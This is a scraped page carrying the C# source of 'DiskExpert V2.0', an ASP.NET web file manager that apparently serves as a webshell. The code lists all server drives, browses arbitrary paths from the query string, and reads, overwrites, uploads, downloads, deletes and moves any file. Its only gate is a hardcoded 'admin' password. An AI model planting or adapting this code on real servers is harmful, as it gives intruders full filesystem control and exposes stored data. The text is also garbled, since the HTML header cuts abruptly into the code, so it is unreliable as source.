<HTML><HEAD><title>DiskExpert V2.0 Power by Pot</title>
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE"><meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">A{cursor: default;}A:visited{TEXT-DECORATION: none; color: 000000}A:hover{TEXT-DECORATION: none}A:link{text-decoration: none; color: 000000}
BODY{FONT-FAMILY: Tahoma; FONT-SIZE: 8pt;SCROLLBAR-FACE-COLOR: #ffffff;SCROLLBAR-HIGHLIGHT-COLOR: #acb0b5;SCROLLBAR-SHADOW-COLOR: #acb0b5;SCROLLBAR-3DLIGHT-COLOR: #ffffff;SCROLLBAR-ARROW-COLOR: #acb0b5;SCROLLBAR-TRACK-COLOR: #ffffff;SCROLLBAR-DARKSHADOW-COLOR: #ffffff;SCROLLBAR-BASE-COLOR: #acb0b5}
TD{FONT-FAMILY: Tahoma;FONT-SIZE: 8pt}DIV{cursor: default;FONT-FAMILY:  Tahoma;FONT-SIZE: 8pt}select {border-width: 1;border-color: #000000;background-color: #efefef;FONT-FAMILY: Tahoma;font-size: 8pt;font-style: bold;}
.botton{FONT-SIZE: 8pt;BACKGROUND: url(botton_01.gif) no-repeat right bottom;FONT-FAMILY: Tahoma;color: #7E8083;border: 1px solid #ACB0B5;}
.botton1{FONT-SIZE: 8pt;FONT-FAMILY: Tahoma;border: 1px solid #ACB0B5;}
INPUT{BORDER-TOP-WIDTH: 1px;PADDING-RIGHT: 1px;PADDING-LEFT: 1px;BORDER-LEFT-WIDTH: 1px;FONT-SIZE: 8pt;BORDER-LEFT-COLOR: #cccccc;BORDER-BOTTOM-WIDTH: 1px;BORDER-BOTTOM-COLOR: #cccccc;PADDING-BOTTOM: 1px;BORDER-TOP-COLOR: #cccccc;PADDING-TOP: 1px;HEIGHT: 18px;BORDER-RIGHT-WIDTH: 1px;BORDER-RIGHT-COLOR: #cccccc;FONT-FAMILY: Tahoma;}</style>
<style type="text/css">DIV.imagespacer { FLOAT: left; MARGIN: 5px; OVERFLOW: hidden; WIDTH: 90px; PADDING-TOP: 0px; HEIGHT: 90px; TEXT-ALIGN: center }
DIV.imageholder { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 0px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; VERTICAL-ALIGN: middle; BORDER-LEFT: #cccccc 1px solid; WIDTH: 60px; PADDING-TOP: 15px; BORDER-BOTTOM: #cccccc 1px solid; HEIGHT: 60px; TEXT-ALIGN: center }
DIV.titleHolder { WIDTH: 100%; PADDING-TOP: 2px; HEIGHT: 20px; TEXT-ALIGN: center }
.leftbg { BACKGROUND-POSITION: left top; BACKGROUND-IMAGE: url(images/left_bg.gif); BACKGROUND-REPEAT: no-repeat }
.menuskin { BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; BACKGROUND-IMAGE: url(images/menubg.gif); VISIBILITY: hidden; FONT: 12px Verdana; BORDER-LEFT: #666666 1px solid; BORDER-BOTTOM: #666666 1px solid; BACKGROUND-REPEAT: repeat-y; POSITION: absolute; BACKGROUND-COLOR: #efefef }
.menuskin A { PADDING-RIGHT: 10px; PADDING-LEFT: 20px; BEHAVIOR: url(inc/noline.htc); COLOR: black; TEXT-DECORATION: none }
#mouseoverstyle { BORDER-RIGHT: #999 1px solid; PADDING-RIGHT: 0px; BORDER-TOP: #999 1px solid; PADDING-LEFT: 0px; PADDING-BOTTOM: 1px; MARGIN: 1px; BORDER-LEFT: #999 1px solid; PADDING-TOP: 0px; BORDER-BOTTOM: #999 1px solid; BACKGROUND-COLOR: #ccc }
#mouseoverstyle A { COLOR: black }
.menuitems { PADDING-RIGHT: 1px; PADDING-LEFT: 1px; PADDING-BOTTOM: 2px; MARGIN: 1px; WORD-BREAK: keep-all; PADDING-TOP: 1px }</style></HEAD>
<body style="OVERFLOW: auto" bgColor="#e5eaf0" leftMargin="0" topMargin="0">
  
<table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr><td vAlign="top" width="10">&nbsp;</td><td vAlign="top" height="45">
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<form ;
   }

   //获取驱动器
   string[] drives = System.IO.Directory.GetLogicalDrives();
   DiskList.Items.Add("选择驱动器");
   foreach (string str in drives){
    DiskList.Items.Add(str);
   }
   Button3.Attributes.Add("onclick","if(form2.CurrentFile.value==''){alert('请选取一个文件!');return false;}");
   Button5.Attributes.Add("onclick","if(form2.CurrentFile.value==''){alert('请选取一个文件!');return false;}"+
    "else {return confirm('删除选中文件,是否继续?');}");
   Button6.Attributes.Add("onclick","if(form2.CurrentFolder.value==''){alert('请选取一个文件夹!');return false;}"+"else {return confirm('删除选中文件夹,是否继续?');}");

   string strCurrentDir,NewFolder,TempAction;
   NewFolder = Request.QueryString["NewFolder"];
   TempAction = Request.QueryString["Action"];
    
    //分情况显示数据
    if(TempAction == null && NewFolder == null){
     strCurrentDir = Server.MapPath(".");
     DisplayList(strCurrentDir);
    }
    else if(TempAction == "up"){
     strCurrentDir = NewFolder;
     UpFolder(strCurrentDir);
    }
    else if(TempAction == "edit"){
     EditFile(Request.QueryString["url"].ToString());
    }
    else if(TempAction == "save"){
     string saveurl = Request.Form["url"];
     string savecontent = Request.Form["fileContent"];
     string ColseWindow = Request.Form["ColseWindow"];
     SaveFile(saveurl,savecontent,ColseWindow);
    }
    else{
     strCurrentDir = NewFolder;
     DisplayList(strCurrentDir);
    }
   }
   catch (System.IO.IOException)
   {
    ErrorText.Text = "An I/O error occurs.";
   }
   catch (System.Security.SecurityException)
   {
    ErrorText.Text = "The caller does not have the required permission.";
   }
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
   }
   }

  #region Files and Directorys List
  /// <summary>
  /// 显示文件和文件夹列表。
  /// </summary>
  public void DisplayList(string strCurrentDir)
  {
   strCurrentDir = strCurrentDir.Replace(@":",@":").Replace(@"、",@"\").Replace(@"\\",@"\");
   
   FileInfo fi;
   DirectoryInfo di;

   StringBuilder TempStr = new StringBuilder();
   TempStr.Capacity = 100;
   string FileName,FileExe,FilePic,FileSize,ShortName;
   DateTime FileModify;
   string lFileProperty = "1";
   string lFileName,lFileModify,lFileSize;
   int isFile,FileNum=0,FolderNum=0;

   fileShow.Text = "";      //初始化显示层
   DirectoryInfo dir = new DirectoryInfo(strCurrentDir);
   foreach(FileSystemInfo fsi in dir.GetFileSystemInfos())
   {
    FilePic = "";
    FileName = "";
    FileExe = "";
    FileSize = "0";
    FileNum++;

    if(fsi is FileInfo)
    {
     //当前是文件
     isFile = 1;
     fi = (FileInfo)fsi;
     FileName = fi.Name;
     //FileName = Server.UrlEncode(FileName);
     FileExe = fi.Extension;
     lFileProperty = fi.Attributes.ToString();
    
     if(fi.Length > (1024*1024*1024))
      FileSize = ((double)fi.Length/(1024*1024*1024)).ToString(".##")+"&nbsp;GB";
     else if(fi.Length > (1024*1024))
      FileSize = ((double)fi.Length/(1024*1024)).ToString(".##")+"&nbsp;MB";
     else if(fi.Length > 1024)
      FileSize = ((double)fi.Length/1024).ToString(".##")+"&nbsp;KB";
     else
      FileSize = ((double)fi.Length/1).ToString(".##")+"&nbsp;字节";
     FileModify = fi.LastWriteTime;

     switch(FileExe.ToLower())
     {
      //用户可以自定义FilePic内容,显示不同类型的文件。
      case ".gif":FilePic = "images/gif.gif";ShortName = "GIF图象";break;
      case ".jpg":FilePic = "images/gif.gif";ShortName = "JPEG图象";break;
      case ".asp":FilePic = "images/asp.gif";ShortName = "Active Server Page";break;
      case ".txt":FilePic = "images/txt.gif";ShortName = "文本文档";break;
      case ".htm":FilePic = "images/htm.gif";ShortName = "HTML Document";break;
      case ".html":FilePic = "images/htm.gif";ShortName = "HTML Document";break;
      case ".doc":FilePic = "images/doc.gif";ShortName = "Microsoft Word 文档";break;
      case ".exe":FilePic = "images/exe.gif";ShortName = "应用程序";break;
      case ".rar":FilePic = "images/zip.gif";ShortName = "WinRAR 档案文件";break;
      case ".zip":FilePic = "images/zip.gif";ShortName = "WinRAR Zip 档案文件";break;
      case ".aspx":FilePic = "images/aspx.gif";ShortName = "ASP.NET Server Page";break;
      case ".cs":FilePic = "images/cs.gif";ShortName = "C# Source file";break;
      case ".mdb":FilePic = "images/mdb.gif";ShortName = "Microsoft Access 应该程序";break;
      case ".dll":FilePic = "images/dll.gif";ShortName = "应用程序扩展";break;
      case ".wma":FilePic = "images/mp3.gif";ShortName = "Winamp media file";break;
      case ".mp3":FilePic = "images/mp3.gif";ShortName = "Winamp media file";break;
      default:FilePic = "images/other.gif";ShortName = FileExe.Replace(".","")+"文件";break;
     }
     //FilePic = "<img src='"+FilePic+"'border=0 align=absmiddle>";
     FilePic = "<font face='wingdings' color='#666666' style='font-size:30'>2</font>";

     lFileName = ShortName.Replace(" ","&nbsp;").ToString();
     lFileSize = FileSize.ToString();
     lFileModify = FileModify.ToString();
    }
    else
    {
     FolderNum++;
     isFile = 0;
     di = (DirectoryInfo)fsi;
     FileName = di.Name;
     //FileName = Server.UrlEncode(FileName);
     FileExe = di.Extension;
     FileModify = di.LastWriteTime;
     //FilePic = "<img src='images/directory.gif' border=0 align=absmiddle>";
     FilePic = "<font face='wingdings' color='#666666' style='font-size:30'>0</font>";

     lFileName = "文件夹";
     lFileSize = "0&nbsp;字节";
     lFileModify = FileModify.ToString();
     lFileProperty = di.Attributes.ToString();

    }
    TempStr.Append("<div class=imagespacer><div class=imageholder onclick=\"SelectDiv(this,'"+FileName.Replace(" ","&nbsp;").ToString()+"','"+lFileName.ToString()+"','"+lFileSize.ToString()+"','"+FileModify.ToString().Replace(" ","&nbsp;").ToString()+"','"+lFileProperty.Replace(" ","&nbsp;").ToString()+"',"+isFile+")\" ondblclick=\"OpenObject('"+Server.UrlEncode(FileName)+"',"+isFile+")\">"+FilePic+"</div><div class=titleholder>"+FileName+"</div></div>");
   }
   fileShow.Text = TempStr.ToString();
   FolderPath.Value = strCurrentDir;
   FolderPath.Value = strCurrentDir;
   FolderUrl.Value = Server.UrlEncode(strCurrentDir);
   ObjectNum.Value = FolderNum+"|"+FileNum;
   if(Path.GetFileName(strCurrentDir) != "")
   {
    leftpic.Text = "<b><font face='wingdings' color='#6699CC' style='font-size:30'>0</font></b>";
    //ListImage.ImageUrl = "images/left_directory.gif";
    ListLabel.Text = Path.GetFileName(strCurrentDir);
    goup.NavigateUrl = "FileList.aspx?Action=up&NewFolder="+FolderUrl.Value;
    //IMG1.Src = "images/turnup.gif";    //IMG1.Attributes.Add("onclick","window.location=('FileList.aspx?Action=up&NewFolder='+form1.FolderUrl.value)");
   }
   else
   {
    leftpic.Text = "<b><font face='wingdings' color='#6699CC' style='font-size:30'>;</font></b>";
    //ListImage.ImageUrl = "images/left_disk.gif";
    ListLabel.Text = Directory.GetDirectoryRoot(strCurrentDir);
    goup.Enabled = false;
    //IMG1.Src = "images/turnup1.gif";
   }
  }
  #endregion

  #region Operate Files and Directorys
  /// <summary>
  /// 编辑文本文件。
  /// </summary>
  private void EditFile(string url)
  {
   if(!Chk_Purview())return;
   try{
   url = Server.UrlDecode(Server.UrlEncode(url).Replace("%c2%a0","+"));
   FileStream fs = new FileStream(url,FileMode.Open,FileAccess.Read);
   StreamReader sr = new StreamReader(fs,Encoding.GetEncoding("gb2312"));
   string fileContent = sr.ReadToEnd();
   sr.Close();
   fs.Close();

   Uri nUrl = HttpContext.Current.Request.Url;
   string sFileName = nUrl.Segments[nUrl.Segments.Length-1];
   int i=sFileName.LastIndexOf("/");
   int j=sFileName.Length;
   sFileName = sFileName.Substring(i+1,j-i-1);
   Response.Write("<html><head><title>DiskExpert V2.0 Power By Pot</title><meta http-equiv='Content-Type' content='text/html; charset=gb2312'><style>form{margin:0;font-size:9pt;}; textarea{font-family:Tahoma;font-size:9pt; padding:5px;};body{margin:2;border:none;overflow:hidden;background-color:buttonface}; fieldset{margin:2px;font-size:9pt;height:76px;overflow:auto;}; input{font-family:Tahoma;font-size:9pt;};pre{margin:0};.banner{margin-top:8px;margin-right:10px;text-align:right;font-family:Tahoma;font-weight:bold};</style></head><script>window.focus();<"+"/script><body><form style='width:100%;height:100%;' method='post' action='"+sFileName+"?Action=save'><textarea name=fileContent style='width:100%;height:90%;'>"+fileContent+"</textarea><br><div style='padding-top:5px'>&nbsp;&nbsp;文件路径:<input type='text' name=url value='"+url+"' readonly><input type='hidden' name=a value=s> <input type=checkbox name=ColseWindow id=chk_closewindow value=close><label for=chk_closewindow checked>保存完毕关闭窗口</label> <input type='submit' name=btnSubmit value='保存' style='width:75px;' onclick=\"form.a.value='s'\"><input type='reset' name=btnReset value='恢复' style='width:75px;'><input type='button' name=btnReset value='清空' style='width:75px;' onclick=\"form.fileContent.value=''\"><input type='button' name=btnReset value='关闭' style='width:75px;' onclick=\"window.close();\"></div><div class=banner>Online Text Editor 1.0 for  DiskExpert V2.0</div></form></body></html>");
   Response.End();
   return;
   }
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
    return;
   }
  }
  /// <summary>
  /// 保存文本文件。
  /// </summary>
  private void SaveFile(string url,string fileContent,string ColseWindow)
  {
   if(!Chk_Purview())return;
   try{
   url = Server.UrlDecode(Server.UrlEncode(url).Replace("%c2%a0","+"));
   FileStream fs = new FileStream(url,FileMode.Create,FileAccess.Write);
   StreamWriter sw = new StreamWriter(fs,Encoding.GetEncoding("gb2312"));
   sw.Write(fileContent); 
   sw.Close();
   fs.Close();
   }
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
    return;
   }
   if(ColseWindow == "close")
   {
     Response.Write("<script language=javascript>alert('保存成功!');window.close()<"+"/script>");
   }
   else
   {
     Response.Write("<script language=javascript>alert('保存成功!');history.go(-1);<"+"/script>");
   }
  }
  /// <summary>
  /// 返回上一级。
  /// </summary>
  private void UpFolder(string strCurrentDir)
  {
   string UpPath = new FileInfo(strCurrentDir).DirectoryName;
   DisplayList(UpPath);
   FolderPath.Value = UpPath;
   FolderUrl.Value = Server.UrlEncode(UpPath);
   return;
  }
  /// <summary>
  /// 下载文件。
  /// </summary>
  private void Button3_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   try
   {
    string FilePath = Path.Combine(FolderPath.Value,CurrentFile.Value);
    FilePath = Server.UrlDecode(Server.UrlEncode(FilePath).Replace("%c2%a0","+"));
    FileInfo fi = new FileInfo(FilePath);
    string sFileName = fi.Name;
    FileStream fs = new FileStream(FilePath,FileMode.Open,FileAccess.Read,FileShare.Read);
    long FileLength = fs.Length;
    BinaryReader br = new BinaryReader(fs);
    br.BaseStream.Seek(0,SeekOrigin.Begin);
    byte[] ts = new byte[br.BaseStream.Length];
    //bool ClientClosed = false;
    while(br.BaseStream.Position < br.BaseStream.Length)
    {
     ts[br.BaseStream.Position] = br.ReadByte();
     //ClientClosed = !this.Response.IsClientConnected;
    }
    Response.Clear();
    Response.AddHeader("Content-Disposition", "attachment; filename="+HttpUtility.UrlEncode(sFileName,System.Text.Encoding.UTF8).Replace("+"," "));
    //Response.AddHeader("Content-Length",FileLength.ToString());
    //Response.Charset = "UTF-8"; 
    Response.ContentType = "application/octet-stream";
    Response.BinaryWrite(ts);
    //Response.Flush();
    Response.End();
    br.Close();
    br = null;
    fs.Close();
    fs = null;
    System.Web.HttpContext.Current.ApplicationInstance.CompleteRequest();
   }
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
    return;
   }
  }
  /// <summary>
  /// 上传文件。
  /// </summary>
  private void Button4_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   try
   {
    HttpPostedFile hpf = UploadFile.PostedFile;
    //FileName.Text = hpf.FileName;
    if(hpf.ContentLength > 5242880)
    {
     Response.Write("<script language=javascript>");
     Response.Write("alert('上传文件太大,系统限制最大为5M!');");
     Response.Write("<"+"/script>");
     return;
    }
    char[] de = {'\\'};
    string[] AFilename = hpf.FileName.Split(de);
    string strFilename = AFilename[AFilename.Length - 1];
    FileInfo fi = new FileInfo(Path.Combine(FolderPath.Value,strFilename));
    if(fi.Exists)
    {
     Response.Write("<script language=javascript>");
     Response.Write("confirm('文件已经存在,是否覆盖?');");
     Response.Write("<"+"/script>");
     return;
    }
    else
    {
     hpf.SaveAs(FolderPath.Value+@"\"+strFilename);
     Response.Write("<script language=javascript>alert('文件已经上传!');<"+"/script>");
     DisplayList(FolderPath.Value);
     return;
    } 
   }
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
    return;
   }
  }
  /// <summary>
  /// 删除文件。
  /// </summary>
  private void Button5_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   string TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
   TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
   if(File.Exists(TempPath))
   {
    try
    {
     File.Delete(TempPath);
     Response.Write("<script language=javascript>");
     Response.Write("alert('文件已经删除!');");
     Response.Write("<"+"/script>");
     DisplayList(FolderPath.Value);
     return;    
    }
    catch(Exception ex)
    {
     ErrorText.Text = ex.Message;
    }

   }
   else
   {
    //Response.Write(TempPath);
    Response.Write("<script language=javascript>");
    Response.Write("alert('没有发现目标文件,操作失败!');");
    Response.Write("<"+"/script>");
    return;
   }
  }
  /// <summary>
  /// 删除文件夹。
  /// </summary>
  private void Button6_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   string TempPath = Path.Combine(FolderPath.Value,CurrentFolder.Value);
   TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
   if(Directory.Exists(TempPath))
   {
    try
    {
     Directory.Delete(TempPath);
     Response.Write("<script language=javascript>");
     Response.Write("alert('文件夹已经删除!');");
     Response.Write("<"+"/script>");
     DisplayList(FolderPath.Value);
     return;    
    }
    catch(Exception ex)
    {
     ErrorText.Text = ex.Message;
     return;
    }
   }
   else
   {
    Response.Write("<script language=javascript>");
    Response.Write("alert('没有发现目标文件夹,操作失败!');");
    Response.Write("<"+"/script>");
    return;
   }
  }
  /// <summary>
  /// 创建文件。
  /// </summary>
  private void Button1_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   try{
   File.CreateText(Path.Combine(FolderPath.Value,TextBox2.Text.ToString()));
   }
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
    return;
   }
   Response.Write("<script language=javascript>alert('文件已经创建!');<"+"/script>");
   TextBox2.Text = "";
   DisplayList(FolderPath.Value);
   return;
  }
  /// <summary>
  /// 删除文件夹。
  /// </summary>
  private void Button2_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   try{
   Directory.CreateDirectory(Path.Combine(FolderPath.Value,TextBox2.Text.ToString()));
   }
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
    return;
   }
   Response.Write("<script language=javascript>alert('文件夹已经创建!');<"+"/script>");
   TextBox2.Text = "";
   DisplayList(FolderPath.Value);
   return;
  }
  /// <summary>
  /// 复制文件或文件夹。
  /// </summary>
  private void Button7_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   string TempPath="";
   if(CurrentFile.Value != "")
   {
    TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
    Session["Type"] = "File";
   }
   else if(CurrentFolder.Value != "")
   {
    TempPath = Path.Combine(FolderPath.Value,CurrentFolder.Value);
    Session["Type"] = "Folder";
   } 
   TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
   Session["CutBoard"] = TempPath;
   Session["Action"] = "copy"; 
   Button9.Enabled = true;
   return;
  }
  /// <summary>
  /// 剪切文件或文件夹。
  /// </summary>
  private void Button8_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   string TempPath="";
   if(CurrentFile.Value != "")
   {
    TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
    Session["Type"] = "File";
   }
   else if(CurrentFolder.Value != "")
   {
    TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
    Session["Type"] = "Folder";
   }
   TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
   Session["CutBoard"] = TempPath;
   Session["Action"] = "cut";  
   Button9.Enabled = true;
   return;
  }
  /// <summary>
  /// 粘贴文件或文件夹。
  /// </summary>
  private void Button9_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   try
   {
   if(Session["CutBoard"].ToString() != "")
   {
    char[] de = {'\\'};
    string[] TempArray = Session["CutBoard"].ToString().Split(de);
    if(Session["Type"].ToString() == "File"){
     if(Session["Action"].ToString() == "copy"){ File.Copy(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
     }
     else{ File.Move(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
     }
    }
    else if(Session["Type"].ToString() == "Folder"){
     if(Session["Action"].ToString() == "copy")
     { copyDirectory(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
     }
     else{ Directory.Move(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
     }
    }
    DisplayList(FolderPath.Value);
    return;
   }}
   catch(Exception ex)
   {
    ErrorText.Text = ex.Message;
    return;
   }
  }
  /// <summary>
  /// 复制文件夹。
  /// </summary>
  private void copyDirectory(string Src,string Dst)
  {
   if(!Chk_Purview())return;
   String[] Files;
   if(Dst[Dst.Length-1]!=Path.DirectorySeparatorChar) Dst+=Path.DirectorySeparatorChar;
   if(!Directory.Exists(Dst)) Directory.CreateDirectory(Dst);
   Files=Directory.GetFileSystemEntries(Src);
   foreach(string Element in Files)
   {
    // Sub directories
    if(Directory.Exists(Element)) copyDirectory(Element,Dst+Path.GetFileName(Element));
    // Files in directory
    else File.Copy(Element,Dst+Path.GetFileName(Element),true);
   }
  }
  /// <summary>
  /// 登录系统。
  /// </summary>
  private void Button12_Click(object sender, System.EventArgs e)
  {
   if(Session["admin"] == null)
   {  
 Button13.Attributes.Add("onclick","if(form2.TextBox3.value==''){alert('请输入密码!');TextBox3.focus();return false;}");
    TextBox3.Attributes.Add("onkeypress","if(event.keyCode == 13){form2.Button13.click();return false;}");
    TextBox3.Visible = true;
    Button13.Visible = true;
    Button12.Visible = false;
    return;
   }
   else{
    Session["admin"] = null;Button10.Visible = false;Button11.Visible = false;
    Button3.Visible = false;Button5.Visible = false;Button6.Visible = false;
    Button7.Visible = false;Button8.Visible = false;Button9.Visible = false;
    Button14.Visible = false;edit.Style.Add("display","none");Button12.Text = "登录系统";
    return;
   }
  }
  /// <summary>
  /// 验证用户。
  /// </summary>
  private void Button13_Click(object sender, System.EventArgs e)
  {
   //设置登录密码
   string pass = "admin";
   if(TextBox3.Text == pass){
    Session["admin"] = pass;Button12.Text = "退出登录";Button10.Visible = true;
    Button11.Visible = true;Button5.Visible = true;Button6.Visible = true;
    Button7.Visible = true;Button8.Visible = true;Button9.Visible = true;
    Button7.Enabled = false;Button8.Enabled = false;Button9.Enabled = false;
    Button14.Visible = true;edit.Style.Add("display","");
    return;
   }
   else{
    ErrorText.Text = "密码错误,登录失败!";
    return;
   }
  }
  /// <summary>
  ///文件或文件夹重命名。
  /// </summary>
  private void Button15_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   try{
   string OldPath="",NewPath="";
   if(CurrentFile.Value != "")
   {
    OldPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
    OldPath = Server.UrlDecode(Server.UrlEncode(OldPath).Replace("%c2%a0","+"));
    NewPath = Path.Combine(FolderPath.Value,TextBox4.Text);
    File.Move(OldPath,NewPath);
   }
   else if(CurrentFolder.Value != "")
   {
    OldPath = Path.Combine(FolderPath.Value,CurrentFolder.Value);
    OldPath = Server.UrlDecode(Server.UrlEncode(OldPath).Replace("%c2%a0","+"));
    NewPath = Path.Combine(FolderPath.Value,TextBox4.Text);
    Directory.Move(OldPath,NewPath);
   }
   }
   catch(Exception ex){
    ErrorText.Text = ex.Message;
    return;
    }
   DisplayList(FolderPath.Value);
   Response.Write("<script language=javascript>alert('重命名成功!');<"+"/script>");
   return;
  }

  /// <summary>
  /// 页面执行时间。
  /// </summary>
  public double TimeCount(System.DateTime boftime, System.DateTime eoftime)
  {
   return (eoftime - boftime).TotalMilliseconds;
  }
  private bool Chk_Purview()
  {
   bool log;
   if(Session["admin"] == null || Session["admin"] == ""){
    Response.Write("<script language=javascript>alert('还未登录或操作已超时!');<"+"/script>");
    log = false;    
   }
   else
   log = true;
   return log;
  }
  #endregion

  #region Initialize Buttons Click

  /// <summary>
  /// 初始化上传。
  /// </summary>
  private void Button10_Click(object sender, System.EventArgs e) 
  {
   if(!Chk_Purview())return;
   UploadFile.Style.Add("display","");Button4.Visible = true;Button10.Visible = false;
   return;
  }
  /// <summary>
  /// 初始化新建。。。
  /// </summary>
  private void Button11_Click(object sender, System.EventArgs e)
  { 
   if(!Chk_Purview())return; Button1.Attributes.Add("onclick","if(form2.TextBox2.value==''){alert('请输入文件名!');TextBox2.focus();return false;}");   Button2.Attributes.Add("onclick","if(form2.TextBox2.value==''){alert('请输入文件夹名!');TextBox2.focus();return false;}");
   TextBox2.Visible = true;Button1.Visible = true;Button2.Visible = true;Button11.Visible = false;
   return;
  }
  /// <summary>
  ///初始化重命名。
  /// </summary>
  private void Button14_Click(object sender, System.EventArgs e)
  {
   if(!Chk_Purview())return;
   Button15.Attributes.Add("onclick","if(form2.CurrentFile.value=='' && form2.CurrentFolder.value==''){alert('请选取一个文件或文件名!');return false;}if(form2.TextBox4.value==''){alert('请输入新文件名或文件夹名!');TextBox4.focus();return false;}");
   TextBox4.Visible = true;Button15.Visible = true;Button14.Visible = false;
   return;
  }
  #endregion
</script>

相关文章:

  • 2021-11-15
  • 2021-09-18
猜你喜欢
  • 2021-07-07
  • 2021-08-03
相关资源
相似解决方案